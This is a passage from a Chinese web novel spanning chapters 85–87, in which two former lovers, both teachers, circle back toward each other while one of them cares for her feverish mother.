“干嘛。”简越垂眼,语气上是拒绝的意思。 “消磨时光。”林筝墨倒也坦然:“或者说, 我想和你玩。” 简越觉得嘴里的煎蛋虽是有点冷了,咀嚼起来居然有种异样的美味, 不知道是食物本身的味道, 还是经过了语言的熏陶。 哎~ “玩什么?” “看你想户外还是室内, 户外我们可以开车去看雪,白峰山那边的雪景特别好看。室内的话, 想运动的话, 可以打打网球, 不想运动就剧本杀,要实在不想出门,在家也可以。” 噼里啪啦话都说尽,就怕简越拒绝她。 简越其实有点想打网球, 整个冬天赖在家里,几乎变成了一颗发霉的烂橘子,胳膊肩膀都冻得像冰那般僵硬了,再不活动,来年春天只能坐上轮椅养老,哦,倒也没有这么夸张,可确实很久没运动了。 她缓缓抬眼,看林筝墨。 一秒,低头。 “我为什么要和你玩啊。” “求求你了~”林筝墨好声好气放缓音调:“就和我玩一次吧。” 与其说是无赖不如说她在撒娇,撒娇这东西很怪,譬如林筝墨这种根本不会撒娇的人,偶尔使用一次,约等于六神装开大招,威力之凶猛。 什么求求你了。 对简越来说神似暴击,就差跪地磕头,求她不要使出必杀技。 “没见过分手还能一起玩的。”简越净说一些大实话。 “可能是你见少了吧。”林筝墨有理有据:“这世上分手的情侣这么多,总归不是人人都成冤家,有成为朋友的,也有重头再来的,那当然也有分开也一起玩的,这并不特殊啊。” 绕来绕去只有一个宗旨:和俺出去玩,求求您了。 简越本就是假意推脱,但内心依旧别扭着,一个来回不够,再推脱一次:“不知道玩什么。” “我来选吧。”林筝墨眼底闪烁着光芒,“嗯看雪有点太远了,我想了一下,明天你还要上班,来回就太累了,不然看雪就下次去吧。所以剧本杀你想玩吗?”说完这句她观察简越的表情,一秒有了答案:“你好像不想玩剧本杀,那我们去打网球吧?” 她就是有这么敏锐的洞察力,在简越细微的表情变化中,洞悉这个人的想法,可想在此之前琢磨过多少次。 “还是说你想玩别的。” 简越败阵下来,“打网球吧。” 林筝墨唇角上扬,“好,我现在就选一家。” 世上无难事只怕有心人! 简越察觉到林筝墨嘴边的笑意,忽然被这种情绪撞击到,在对方下意识的情绪里,她自己好像也获得了莫大的慰藉,这是无法控制的事实。 她们目光触碰了一下,谁也没有拆穿彼此。 * 今日大雪,窗外白雪簌簌,上午就显得尤其漫长。 林筝墨所预约的网球是在下午,这样她就可以和简越再吃一顿午饭了,这样不回家也显得合理。 饭后简越去了书房,林筝墨则靠在沙发上,漫无目的地发着消息。 张老师:【小林,昨晚如何?】 林筝墨:【超好!】 张老师凝视着手机屏幕,寻思着“超好”的意思应该是该做的都做了? 她老人家脑袋里已经开了一辆飞机,结果林筝墨和简越还在学习四轮自行车。 张老师:【体验感不错吧?】 林筝墨:【有交流了,下午去打网球。】 张老师:【哦,只是有交流呢。】 还以为做了。 林筝墨:【我现在超级开心!谢谢姐!喝点什么我给你点?】 张老师:【大妹子,天天吃你的像话吗?算了来一杯瑞幸吧,热美式少少甜,地址改到三三麻将馆,收货人填张自摸。】 难得有中年人像张老师这么思想前卫,但张自摸是什么意思?念念不忘必有回响是吗。 林筝墨:【马上点,你上午就开始打?】 张老师:【最近有个男的特别蠢,打又不会打,瘾又大,我去赚点零花钱花花。】 林筝墨盯着屏幕直笑。 张老师:【加油,这个月之内,我猜你们会重新谈恋爱。】 林筝墨:【今天是31号。】 张老师:【是姐心急了,玫瑰jpg.】——张老师尬笑,她很擅长把自己逗笑,起身沏了杯茶去阳台吹风,欣赏窗外白雪,没有一点烦恼,满脑子都是幺鸡二条。 麻将对张老师来说,就是番茄和鸡蛋,沥青和马路,一日不摸一日慌,就是做了鬼,半夜也要从棺材里溜出来搓两把。 某种意义上来说,张老师是活得最彻底的人 * “林筝墨。” “干嘛?”午饭过后,林筝墨在厨房洗碗,简越站在身后叫她。 “你别洗了吧,你是客人,不用洗碗。”简越就是这么故意。 林筝墨恨得牙痒痒,客人?有朝一日让你知道谁是这房子的主人。 转身却还温声细语笑道:“分这么清干嘛呢?饭是你做的,我洗个碗很正常。” 简越沉默半晌,问她:“那打网球你不换衣服吗?” “换啊。” “那你还在洗碗,不回公寓拿衣服吗。” 林筝墨不语,慢条斯理将手里的盘子放进泡沫里,侧目凝视简越。 “不回公寓,我衣服好像在你衣柜里。” 简越:“” 是我自撞槍口了。 “简越。” “干嘛。” “你过来一下。”林筝墨唤她。 简越过去,站林筝墨身侧,一脸冷漠地等待被安排,一脸冷漠地等待被吩咐,一脸冷漠地心甘情愿。 “围裙松了,手上有泡沫,帮我系一下。”林筝墨低声说:“谢谢。” “你好懒。”嘴上很嫌弃,下一秒抬起手给林筝墨系围裙。 林筝墨穿着一件单薄的浅咖色毛衣,内搭衬衣,蓝格子衬衣坠在毛衣外面,露出一截,她一直很漂亮,穿什么就显什么气质,今天是随性慵懒的林老师。 围裙系带揽过腰,往腰上一绑,束出林筝墨纤细的腰形,好似围裙不是围裙,而是套住林筝墨的秘密武器,简越站在她身后,特别想把围裙往自己怀里拉,这样她就可以从身后抱住林筝墨了。 抱住林筝墨,在她洗碗的时候贴近她,撩开她的头发,去吻她脖颈的位置。 这是一种难以抑制的即刻幻想。 那些幻想藏在洗洁精泡沫里,随着瓷碗清脆的碰撞声又轻轻将简越敲醒了。 “好了。” “太紧了。” 简越又松开一些,“这样呢?” “合适。” 可是林筝墨已经洗好最后一个碗了,系围裙显得如此没有必要,但却一定要显得有所必要,于是她把所有碗重新又洗了一遍。 今天的碗也是有福了。 简越出去换衣服了,林筝墨清理好最后一个碗,擦拭掉手里的水迹。 她解开围裙,将系带捏在手里,贴在鼻尖轻轻闻了闻 好似一切没发生过,顺手挂上,转身走出厨房。 发现卧室的门虚掩着,林筝墨原想进去拿衣服,走到门口发现简越在里面干什么,细看发现她在换衣服。 角度虽然刁钻但凑巧。 林筝墨透过缝隙窥视着门内的一切,眼神是贪婪的,饱满的,是滴落在水杯里的最后一滴水,坠落时就满到溢出来,水花顺着杯沿往下滴落,滴在她苍凉而寂寞的内心,那无尽空灵的深渊,此刻有潮湿的声音在不断回响着。 她看见那样美妙的曲线,皮肤的质感和色泽,抬起手时,丝滑的面料在肘部滑落。 她的胸脯,她的小腹,肋骨与肋骨之间起伏的阴影,是一阶又一阶的旋梯,勾引着林筝墨瞳孔里蛰伏的恶魔。 林筝墨觉得,这不单单只是一种强烈的欲望,而是一种强烈欲望的叠加,是一根带刺的,涂满毒素的鞭子,鞭挞着她饥渴的皮肤。她太想念她了,是思念在作祟,可她现在只能贿赂周围的空气,让空气去吞噬,去占有简越。 她想和她亲密。 非常想。 林筝墨转身去看窗外的雪,在冰天雪地里捕捉冷意,好让思绪降温。 卧室的门忽然打开,简越换好衣服从里面走出来。 林筝墨先发制人:“你在干嘛呢?” 简越:“换衣服。” 林筝墨:“哦,我刚洗完碗。” 简越:“你去拿套衣服我们出发吧。” 林筝墨:“好。” 她走进简越的卧室,反手阖上门,不留一点缝隙,不放心,咔哒,上了锁。 卧室内,床非常整洁,被子和被单都被简越整理过了。床头柜旁边是脏衣篮,里面有简越刚换下的衬衣。 林筝墨脱掉自己的毛衣,衬衣,赤裸着走到篮子旁边,蹲下,拿起简越换过的衬衣穿在自己身上。 身体被温暖的香味包裹着。 林筝墨的身体往后一倒,倒在简越的床上,软乎乎的床垫托着她的身体,她将一只手放在自己小腹上。 阖上眼。 幻想。 幻想是简越在拥抱她 第86章 第八十六章 妈妈和妈妈 第八十六章 林筝墨的手放在自己的小腹上, 掌心在肚脐摩挲,感受着平坦的腹部。 不到两秒,睁开眼来。 放弃了。 幻想总归是幻想,她妄想通过这样的方式得到一点慰藉, 但带给她的什么也没有。 衬衣又扔进脏衣篮里, 她打开衣柜, 里面是五花八门的衣物,其实有一点想穿简越的衣服, 以前都是这样穿的, 但现在也只能看看罢了。 叩叩。 简越在外面敲门。 “换好了吗?” “就快好了。” “出了点状况,今天打不了网球了。”简越隔着门说:“我妈刚给我打了个电话,她有点不舒服。” 林筝墨穿好衣服, 去开门,有些惊惶:“阿姨怎么了?” “听起来不太好,我得去看看。” 林筝墨忙点头, “我和你一起吗?” “不用。”简越看她一眼,“你等会儿直接回家吧。” 林筝墨不好再说什么, “嗯。” 简越也不耽搁, 拿车钥匙, 在玄关换鞋,林筝墨站在一旁看她, 犹豫着, 踟蹰着, 忍不住关心:“有什么事你联系我吧,打电话发微信都可以。” “嗯。”简越穿好鞋,拉开门,回头看林筝墨一眼, “先走了。” 啪嗒。 门合上了。 林筝墨站在空荡的客厅里,思索着什么,又转身去了阳台,目送简越 * 简桑的骨科诊所最近很忙,从早至晚,没有空隙,但她早也习惯了,工作对她来说是放松而不是负担。 大概是太兢兢业业了,昨夜回家就不太舒服,今日晨起,发现是发烧了,原本没在意,吃了退烧药,中午过后身体愈发滚烫了,才打电话给简越。 电话呼出去,不到半小时就听到开门声音。 简桑听见玄关换鞋的声音,没一会儿简越就到她身边来。 简越站在床边,手掌探了探简桑额头的温度,有点烫。 去拿温度计又量了一遍,39.2℃,问简桑吃过药没,简桑点头,简越便又替她贴了退烧贴,坐在她旁边守着她。 简桑五官偏瘦,眉目清晰,虽已步入五十,眼角有了皱纹,但看起来还是比同龄人年轻许多,生病的时候更加增添了这种孱弱感,整个人有些虚弱。 简越用温水替她物理降温,小时候生病的时候,简桑就是这么给她擦的。 “妈。” “嗯。” “你睡会儿,醒了喝粥。” 简桑没说话,微微点头,应该是听见了。 她很快睡着了,人在特别晕的时候,思维散发得特别快,特别乱。简桑虽然躺在床上,却觉得身体不是静止的,像在转圈圈似的,很飘,很空。 在这种虚浮中,她梦见周京田了。 梦见京田站在太阳下面,对她笑,叫她的名字。梦里阳光特别亮,亮得简桑都有点睁不开眼,可心情却是无比雀跃的,梦里周京田还是二十出头的样子,简桑却发现自己怎么已经五十多岁了,她不好意思靠近她,只得远远看着周京田,她问她:京田,你去哪儿了。 周京田却跑过来抱她,笑着说:你离我那么远做什么,我哪里也没去,我一直在的。 简桑做梦的时候,简越在厨房熬粥,听见简桑在卧室低语,跑过去看,听见简桑在叫谁的名字。 “京田” 简越心脏快速跳动着,走近了看,发现妈妈在哭。小时候也见简桑哭过,但是简越不明白那是什么意思,待到她长大,妈妈的眼泪好像就消失了,她几乎没见简桑哭过。 湿泪顺着眼角滑落,泪光将面庞溽湿,简越用食指替她拭泪。 “京田,你去哪儿了。”简桑低声呢喃着。 简越回应她:“我哪也没去,我一直在的。” 她轻拍简桑,另一只手替她在胸前顺气,如此反复几次,简桑才平复下来。 整个下午,简越都心神不宁的,一边测量简桑的体温,一边躺在沙发思考一些乱七八糟的东西。 比如林筝墨的小姨,周京田。 对于这号人物,如果不是发生那件事,简越是万万不知的。如今结局注定已是遗憾,看起来简桑已经打算孤寡终生,当然,那是她自己的决定,简越也做不了主。 可是…… 忍不住想起林筝墨。 诚然,她和林筝墨之间是有一些矛盾,但这些都是可以调和的,简越试着代入了一下,如果林筝墨哪天出了意外,像妈妈和小姨那样阴阳两隔。 光是想想都惊恐的地步。 “越越。”卧室里传来简桑沙哑的声音。 “妈。”简越迅速起身,快步到床边,“妈,你醒了。” 简桑眨了眨眼睛,在适应睡醒的状态,缓缓道:“我睡多久了?” “五六个小时吧。” 简桑眼神迷惘,“天黑了?” “快了。” 见她要起身,简越扶她在床头靠着,递一杯水给她,让她润润嘴唇和嗓子。 温水下肚,简桑一声喟叹,感慨:“好久没睡这么久了。”放下杯子,摸了下自己的额头,“该是不烧了。” “多休息几天吧,你这就是累的。”简越温和的训她:“那诊所又不会跑路,也不知道天天忙来忙去为了什么。” “病人的骨头不等人,你以为。”简桑难得觑她一眼,“我要像你这么想,就不适合当医生,那有人骨头疼得嗷嗷叫,未必我还能袖手旁观。” 简越低声笑:“我是不适合当医生。”转而正色道:“但身体还是要注意的,你精力没有以前那么好了。” “是不如以前了。”简桑忽然想起刚才那个梦,眼神微怔,又问简越:“对了,最近怎么样?” “还好。” 简桑侧目看她,“那她联系你没有?” 她,当然是指林筝墨。简桑也很关心这个。夏天的时候,简桑其实并不知道她们在谈恋爱,是后来忽然提起林筝墨,见简越脸色很差,细问才摊牌的。 早觉得关系不一般,第六感就很准。 那时简桑开导了几句,大致意思是,上一辈的恩怨不要落到下一辈头上,不公平,凡事要看开点,她倒是什么都能接受的,佛系得不行,万事支持简越。 “她回南城了。”简越坐在床边,“反正半年来一直找不到人,我忍无可忍,借同事手机发了条信息给她,她才回来的。” 说来讽刺。 简越想过林筝墨会回家,但没想过这般迅速。 “那她还是相当在意你的。” “相当在意我,就不可能说走就走那么久。” 简桑叹了口气,凝视着天花板说:“越越,就有些事也不能太绝对。” 说起这个,简桑看得很开。 她牵起简越的手,在掌心轻轻摩挲,语重心长道:“小林这个人我接触不是很深,但第一感觉还是准的。不说绝对,她这人大概率还是靠谱的,她若是喜欢你,应该也不是说说而已,你们之间要多交流,多沟通,别老憋着。” 简越不语。 简桑轻咳一声,有些虚弱:“不是当理中客,其实稍微站在小林角度看问题,也能想到,她妈妈给她的压力肯定非常大。” 周京芳是怎样的人,简桑真是再清楚不过了。 “那种情况下,她不想见面也能理解。”简桑捏了捏简越的手,“越越,还是那句话,看事情不要太绝对。老早就同你说过了,上一辈的事情,不要强加到你们身上来,本身也足够糟糕了,你和她之间——”依旧叹息:“还是好好考虑考虑吧。” 说不动摇是假的。 她和林筝墨之间,介于“有错”和“没错”之间,若是说谁有错,实际上也算不上什么错,但要是没错,心理上的隔阂依旧存在着。 “你想想,她到底有没有犯不可饶恕的错,如果是小错,小小别扭一下就好了,过火了,只会伤害爱的人。”简桑目光凝滞在半空,“在真的遗憾面前,这些无关紧要的,又算得上什么。” 比如生离死别。 简桑眼底闪着泪光,那些隐藏在内心深处的情绪被捕捉到,简越忽然于心不忍,觉得她好可怜。 “喝粥吗?”简越转移了话题,“我熬了一下午了。” “晚点,暂时不喝,咳咳——”简桑咳嗽着靠在床头柜上,很是虚弱。 “那我再给你倒杯水。”简越起身,径直往客厅的方向走。 途中思索着妈妈说的一切,她们之间很少聊起林筝墨,简桑是个非常佛系的人,一向也不对任何人做出评价,但刚刚却说“觉得林筝墨是个靠谱的人”,是不是意味着,她也在尝试劝说? 简越觉得那些话也不是没有道理,她确实也动摇着,但关于林筝墨不声不响离开,依旧心怀芥蒂。 叮咚叮咚—— 忽然门铃响起。 简越都走到饮水机旁边,脚尖一转,到玄关去开门,寻思着也没有点外卖之类的。 结果开门发现门口站了一个林筝墨。 简越愣了一下,“你怎么来了?” 林筝墨手里提着一个口袋,里面放着俩饭盒,“那个——” “哪个?”简越直勾勾看着她。 “阿姨还好吗?”林筝墨有些腼腆,“她怎么样?” “退烧了。”简越很惊讶林筝墨出现在这里,不知道她哪里要来的地址,“怎么了?” “不知道你们吃饭没有,我送点东西过来。”林筝墨举起手里的饭盒,“就,就看你们吃不吃。”她把饭盒拿出来一一介绍,“这个是青菜丸子,是我给你做的。”说着又打开下面一个饭盒,“这是鸡汤,是我妈熬的,让阿姨喝点儿。” 简越相当惊愕,“你妈妈?” 林筝墨颔首,低声说:“中午你不是走了吗,我回家了,和我妈说了,她听了就去菜市场买鸡,炖了一下午,让我捎过来。” 虽然周京芳一副无所谓的样子,但林筝墨看懂了。 “这样吗。”简越回头往卧室看了眼,一心惦记着林筝墨的丸子汤,对于周京芳那部分特别惊讶,一时做不了主意,侧身说:“你先进来吧。” 第87章 第八十七章 林筝墨:我好可怜:)…… 第八十七章 进屋, 林筝墨在玄关换鞋。 简越很好奇:“你怎么想到过来的?” “是我妈让我过来的,而且她还告诉我地址。” “你妈妈?她居然知道我妈住哪儿?” “很惊讶吧。”林筝墨将饭盒递给简越,换好鞋,“我也很惊讶。”忍不住又放低了声:“她们不是老死不相往来吗?” 周京芳不是恨死简桑了吗? 老死不相往来, 却知道对方的地址, 按照时间线, 简桑搬城里住的时候,她俩早掰了, 逻辑上就很奇怪。 这算什么? 嘴上说恨你, 却忍不住想知道你近况的敌蜜? “阿姨还在睡吗?” “没,已经醒了。”简越把饭盒盖子打开,扑面而来一股鲜香, 看样子是花了点心思。 两人零散说着,卧室里,简桑听到动静, 问是谁来了。简越走到门前说,是林筝墨。 简桑说, 那让小林进来啊。 林筝墨走至房间门口, 驻在门前没进去, 就那么看着简桑,温和又礼貌:“阿姨好, 想来看看你, 打扰了。” “打扰什么呀!”简桑拍拍床边, “快进来。” 长辈对晚辈的喜爱是装不出来的,特别是简桑这种不爱笑的人,在看见林筝墨时,居然一点也不吝啬笑意, 那是一种难以抑制的情感流露,就差认林筝墨当第二个女儿了。 林筝墨到床边坐下,问她好些没有。 简桑拉着她的手,说没事,接着问近况,嘘寒问暖,虽然还发着烧,和林筝墨说起话来却精神多了。 简越站在门口观察这一切,心想:林筝墨,你攻略不了我,就来攻略我妈是吧。 臭女人。 坏女人。 “阿姨你想喝鸡汤吗?下午我妈妈有熬一大锅,她让我捎了一点过来。” 听见周京芳,简桑目光微微凝滞,明显感到意外,这种意外已经超过了意外本身,大概里面还杂糅着一切复杂情绪:回忆的忧伤、现实的释然、如果还要精确一些,也许还有一点点获得周京芳善意的愉悦吧。 “鸡汤吗?喝。” “我给你盛一碗。”靠门框上的简越说,开玩笑似的:“给你熬的粥不喝,鸡汤倒是要喝了。” 她折身去厨房了,卧室只剩两人,实际上林筝墨和简桑见面的次数很少,统共也不过四五次,可说来也怪,相互之间并不陌生。 趁着简越在厨房盛汤,简桑同林筝墨闲聊起来。 “只是听说你回来了,不知道你后面怎么打算呢?” “打算回来教书,手续已经办好了。” 简桑释了一口气,“那很好啊,有什么事情好好解决。”有意往门外看了眼,低声与林筝墨说:“就是要有点耐心。” 林筝墨只是笑,笑里夹着一点无奈。 “耐心我很有,只不过,就就阿姨,有些让我很困惑的事,能和您聊聊吗?” “聊啊。”简桑目光柔和,“都可以说。” “我就是心里特别没底。”一些隐秘的心理活动,林筝墨谁都没说,连张老师也没有。 “你说来听听。” “我和简越的事,您应该也清楚了。这几个月来,我确实做得很不对。很多事情没考虑周全。”她顿了顿,往身后看了眼,确定简越不在,才又说:“回来之前,我以为她要和我大吵大闹,指责我,诘问我,但除了有天晚上稍微有点情绪起伏,其余时候都没有。” 什么都没有。 这种什么都没有反而令林筝墨心慌。 “然后呢?” “然后,甚至我和她讲话,她也像对待正常人一样回应我,好像我真的是她的同事。”说到这里,林筝墨忽然有些难过,“我倒希望她对我凶一点,骂我几句,但是没有,她到底是太体面了,还是对我太失望,已经不那么在意我了?我特别害怕。” 害怕简越不那么在意了。 有时候礼貌也是一种折磨,某些情感,某些情绪,是靠冲突来揭开真面目的。 比如,你对我如何如何不满,倒不如真的一场情绪爆发,一清二楚,干净利落。 但很明显简越不打算这么做,她对林筝墨的礼貌,客套,能一张床睡觉,一张桌吃饭,用稳定的情绪与之交流,这些平淡的情绪,反而让林筝墨感到挫败。如同一把锋利的小刀扎在林筝墨的胸口,令她夜不能寐,胡思乱想。 “我大概明白。但越越是一个很讨厌冲突的人。”简桑表情认真起来:“这和她小时候的生活环境有关系吧,当年我去接她的时候,她就表现出异于常人的冷静和聪慧,你知道福利院院长怎么和我说吗?她说,这孩子你带回家,绝对是最省心的。” 简越绝对是最让人省心的。 懂事得令人心疼,小时候超级乖巧,那时候简桑白天在诊所,晚上回家简越家庭作业已经做好了,学习上的事从来无需过问,考试成绩下来的时候,简桑惊讶于这小孩的天赋,怎么回回考第一,其实简桑在生活上从来没有要求过她,但简越从不让她失望。 “可是——”简桑话锋一转:“可是,我倒是希望她像普通小孩儿一样,撒撒泼,淘气淘气。青春期的时候我等着她和我吵架,但我下班回家,她不仅关心我,有时候还反过来给我做饭。” 林筝墨听到这里,陷入沉思。 简桑继续说:“所有人都以为她懂事,但她没有安全感的,因为她觉得,只有自己懂事,才能获得普通小孩儿可以获得的东西,她童年时期没有获得过独一无二的温暖,一直生活在一个小孩子很多的家庭里,福利院是好,可总归是缺少一点什么的。所以,她总是先考虑别人的。自己也会委屈,可是她又很善良,觉得自己已经够痛苦了,便更加对别人说不了狠话了,你明白吗?” “她从来没有对您发过脾气吗?” 简桑摇头。 “那她是没办法发脾气吗?” 简桑颔首,“不安全感,不会释放。” 林筝墨恍然大悟,又觉得一阵羞愧,怎么从来没有考虑到这一层。 简越带给她的感觉,永远是强大的,温和的,体贴的,就连分手之后也是。这也是林筝墨一直困惑的地方,她像是走进了迷雾漩涡里,在想:你怎么还不对我生气,你怎么还不对我生气。 一个青春期都不会叛逆的女生。 在失恋后依旧没有她的叛逆期。 那些潜在的,撕裂的痛苦,原来都被她独自消化了。 可痛苦是不会稀释的,林筝墨确信,简越现在依旧痛苦着。 “那——”林筝墨还想说点什么,身后忽然传来脚步声。 “鸡汤来了。”简越端着碗进来,“是挺香的,妈你肯定喜欢喝。” 林筝墨抬眼去看简越,话到嘴边咽下,看她的心上人,忽然觉得心里糊了一层潮湿的雾。 她心疼她 * 简越虽然一直在强调鸡汤很好喝,但她没有喝鸡汤。 她的晚餐是林筝墨给她做的青菜丸子汤。 “喂,林筝墨。” “怎么啦?”林筝墨笑着看她。 “你吃不吃?”简越不自在道:“丸子汤好多。” “吃啊。”林筝墨同她坐下,“我带的本就是两人份!!” 潜台词:不是想和你吃饭的话,谁要傻傻提着俩饭盒找你。 得来机会共进晚餐,吃完午餐吃晚餐,林筝墨坐在简越桌对面,心想:如果你每天都和我吃饭的话,那你跑不掉喽~ 简越舀一碗,推给林筝墨。 “你刚和我妈聊什么呢?” “随便聊聊。”林筝墨唬弄过去,“你尝尝好不好吃。” 青菜丸子汤比较清淡,食材新鲜的话,怎么都会好吃的,更何况是林筝墨做的。 简越尝第一口的时候,舌尖的味蕾在喧嚣,她实在不想这么夸张,可这味道确实服服帖帖,钻心的美味。 可表情管理还是要有的。 “还行。” “还行就是一般了。”林筝墨开始琢磨:“那下次给你做别的。” 简越不自在地耸耸鼻尖,“下次,下次是什么意思。” 一个小小的问号推过去,想知道林筝墨要怎么回答。 “做饭给你吃啊~”林筝墨默默试探着:“就,如果有机会的话,分享一下美食,也不犯法吧?” 林筝墨表达得非常委婉,怕热情过火不合适,又忍不住想表达一点点。 简越没说话,又咬了半颗丸子,慢条斯理咀嚼着,在想,你到底是喜欢做饭呢,还是喜欢做饭给我吃呢?如果只是喜欢做饭,谁要吃你的臭饭。但如果你是只想做给我吃,那我勉强吃一口吧。 想归想,势必不会讲的。 林筝墨偷偷观察着简越的神态,默契的点到为止,默默和简越吃完这顿晚餐,再看时间已经晚上九点了。 她有眼神示意简越,想知道简越今晚回不回家。 但简越刻意忽略掉这个。 于是秉承着不当烦人精的理念,林筝墨麻溜撤人。 “那你照顾好阿姨,我先走了。” “嗯。”——居然也没留。 林筝墨到卧室和简桑说了两句,这才真正离开,在玄关换鞋的时候对简越说:“我后天就回学校上班。” “好的。”——好的,居然也是礼貌又冷漠的好的。 林筝墨也不恼,低头换好鞋,在简越不知道的角度唇角有了弧度。 “那晚安啦~”林筝墨抬眼,不舍加不舍,负负得正,该舍得了,“走了。” “再见。”——再个头的见。 林筝墨瞅她一眼,一秒,两秒。 算了! 门阖上! * 简越原计划在简桑家过夜,但想到好像没喂泡泡,最终还是打算回家一趟。 发烧的温度是降下去了,再休息一个晚上应该就能恢复。 不放心,便又待了一小时,简越临走前,专程嘱咐:“妈,明天不许偷偷去上班啊。” 简桑点头,“知道了。” 简越不放心:“到时候我要去诊所看的!” 简桑躺床上笑,笑意温和,“知道的,说不去就不去。” 简越这才放下心来,时间亦不早了,她换好鞋出门,简桑家就住一楼,开门出去有一个专属小花园,花园里栽着各种各样的植物,有栀子、茉莉、尤加利叶、多肉,一些乱七八糟的东西,简越踩着月光一路往外走。 月光冷淡,世界是一片朦胧的银色。 忽然之间,拐角的草埔里生出一个鬼影子林筝墨来。 简越惊得后退一步:“你怎么在这里!” 那时林筝墨正坐在条椅上回复消息,四面又黑,手机的灯光映在她脸上,真是一个白净又美丽的女鬼呢。 “不好意思。”林筝墨放下手机,“没听见你出来呢。” “你怎么还没走?” 发现饭盒还放在林筝墨脚边,也就是说,自林筝墨出门之后,一个人在外面坐了一个钟头,为了什么? “处理工作消息呢。”林筝墨晃了晃手机,谎言脱口而出:“都没注意时间。” 简越在怀疑这句话的真实性,毕竟一个还没有开始上班的人,哪里有什么工作消息要处理,就算是之前在西城的钢琴课,也不至于处理一个小时吧? 再说了。 她不能边走边处理么! 她就是不想回家! 简越看破不戳破,只身往前走。 林筝墨追上,与她并肩,没话找话:“好晚了。” “对。” “我送你回家吧?” 简越:“?” 简越真的非常非常好奇,如果今晚她不回家呢?那林筝墨这家伙未必在外面等一晚上。等一晚上就为了送一程? 她其实特别想问她为什么要傻傻等着,话到嘴边还是咽下去,变成了另一个为什么。 “为什么要送我回家?” 林筝墨侧目看她,眼底闪烁着笑意,“好像都是你送我回家,我不能送你回家吗?” “能,但没必要。” “有必要。”林筝墨开炮:“想送。” 两人边走边说,走出楼栋,走到小区门口。 “随你便。” “让我送你吧,好晚了。”林筝墨停下脚步,小区外的树荫下是一排共享电动车,她指着其中一辆说:“我会骑这个。”下一秒已经在扫码,滴滴两声,迅速开锁,“我载你。” 林筝墨那句“我载你”说得轻飘飘的,实际上,按照她不常骑车的习惯来说,这种邀请十分反常。 反常在于,一个总是坐在电动车后排的人,现在主动要变成骑车的人。一个没有工作的人,撒谎自己处理了好多工作消息。 她的谎言如此笨拙,却完全不忍心拆穿她。 简越也是一只敏锐的小小虫,侦探着属于林筝墨的一切,虽然这是一件好小好小的事。 深蓝的夜幕下,林筝墨轻轻踢起支架,将共享电动车推到简越面前,她先坐上去,转身拍拍后座对简越说:“简老师,能上来啵?” 眼神有一点点乞求,亮晶晶的瞳仁诉说的是:不要拒绝我。 那种可怜巴巴的神态,就像一根软软的羽毛,拂在简越的心尖上。 雪没下,有点冷,鼻腔冷幽幽的,饭盒乖乖蹲在前面的篮子里,全世界都在等简主任上车。 简越没说话,只得在后面坐下,双脚放在两侧,揪着林筝墨的黑色大衣说:“那走吧。” 没辙没辙没辙没辙! 烦烦烦烦烦烦烦烦! 共享电动车是电动引擎里的小矮人,有点笨拙,林筝墨慢悠悠往前骑,轮子在马路上颤颤抖抖,路灯照着她们的影子。 街道相当安静,没几个路人,冷风亲吻着皮肤,风声将林筝墨头发的香味带给简越。 整日的疲惫在这一刻有了落脚点。 “诶你怎么想到回来上班?”简越的明知故问已经到了登峰造极的地步。 “因为,因为——”林筝墨忍不住发笑,笑自己窥探了简越的小心思,“因为南中福利好。” “喔。”简越揪着她大衣的手紧了些,“没觉得有什么福利。” 林筝墨脱口而出:“福利就是可以看到你。” 简越心跳轰然加速,不说话,只是偏过头去看街边的树,树影一帧盖过一帧,惊人的漂亮,可是从前并不觉得漂亮,她没办法欺骗自己,到底是要在这一刻,忍不住觉得整个世界都是美丽的。 抑制不住,根本抑制不住。 承认那句“可以看到你”让她有一点点开心。 并且要去掉一点点。 思绪飘远了。 又拉回来。 左拐,又拐,蛇皮走位。 “你真的会骑电动车吗?”简越迅速转移话题,担忧起来:“我怎么觉得你不太会骑,要不是这条路够宽” 林筝墨只是笑。 简越继续说:“我怎么觉得你骑得东歪西拐的。” 林筝墨把车速放得很慢很慢,“嗯,我不会骑。” “那你还载我!!” “那怎么办。”林筝墨故意往右边晃了一下,整个车倾斜了一下,嗟叹:“好像真的不太会骑诶。” “算了,停下吧我载你。”简越担忧起来,若是让林老师当司机,今晚这个世界又要多两个脑震荡了。 林筝墨秒刹,停下,把驾驶权让给简越,“好吧,你载我,确实不太会。” 两人交换位置,变成简越载林筝墨。 林筝墨坐后座,调整好坐姿,双手顺势搂着简越的腰,嘴巴上念叨着:“抓着你稳妥一点。” 明明是抱,美其名曰抓,一切一切就是这么“顺手”,以至于简越居然没法让她把手拿开。 好像拿开就刻意在强调什么似的。 简越扭动把手往前骑,嘟囔:“到最后还不是我来骑。” “实在对不起~”林筝墨软绵绵道歉:“是我不自量力了。” 简越感受着林筝墨环绕她腰部的手,那种搂抱的力度不重,只是虚虚搂着,好似也没拒绝的必要,但又说不上来,这是一种似有若无的撩拨,简越只能假装找话题:“刚刚说到哪里了?” “说到南中福利好。”林筝墨哪壶不开提哪壶。 简越:“” “对了简越。”林筝墨故意停顿了一下,小心翼翼试探:“可以问你一个问题吗?” “说。” “所以现在,我在你那里,是什么身份?” “前任。”简越言辞之间闪烁着不自信。 可是和前任骑车很奇怪诶。 怀疑林筝墨是故意这么问的,这分明就是一种不言而喻的东西!是不能戳破,是不能讲破。 “哦~那你讨厌我吗?”林筝墨偷偷又搂紧了一些。 “讨厌啊。” “嗯,那我舒服多了。” 意料之外,简越蹙眉:“什么逻辑?” 林筝墨呆呆地说:“我其实有点害怕你不讨厌我。” 她站在简越的心灵广场,有点破破烂烂垃圾也总比什么都没有好,逻辑就是这么个逻辑。太冷静太礼貌约等于什么都没有,所以害怕什么情绪都没有。 之后没有再聊,连缄默都如此有默契,大概沉默了两公里,到教师公寓门口,简越才停车。 简越从车上下来,“也算你送我了吧,不早了,你打个车回家吧。” 林筝墨扶着电动车,没上锁,只管点头,“好~” 简越放不下心:“到家给我发个消息?” 林筝墨眼底闪烁着光芒,直勾勾看着简越,等了一晚上就等这句,“我很乐意给你发消息,如果你能收到的话。” 那种眼神,明晃晃的暗示,真的很难让人拒绝,暗示简越把她从黑名单里拉出来。 罢了。 败了。 “嗯我拉你出来。” 林筝墨笑着点头,“那你快回去吧~晚安~” 简越不打算久留,和林筝墨待在一起约等于失控,等会儿要再发生点什么又睡一起了怎么办。 三十六计走为上。 她扭头就走,没有回头,走了百来米,一直到校园大门里,到拐角处没忍住,回过头去看林筝墨。 那时林筝墨就站在电动车旁边,也准备离开。 只见林筝墨踢开支架,坐在车上,电动把手轻轻一扭,扬长而去。那小电动车轻车熟路过了斑马线,技艺之熟练,之稳,南中林老师有两把刷子。 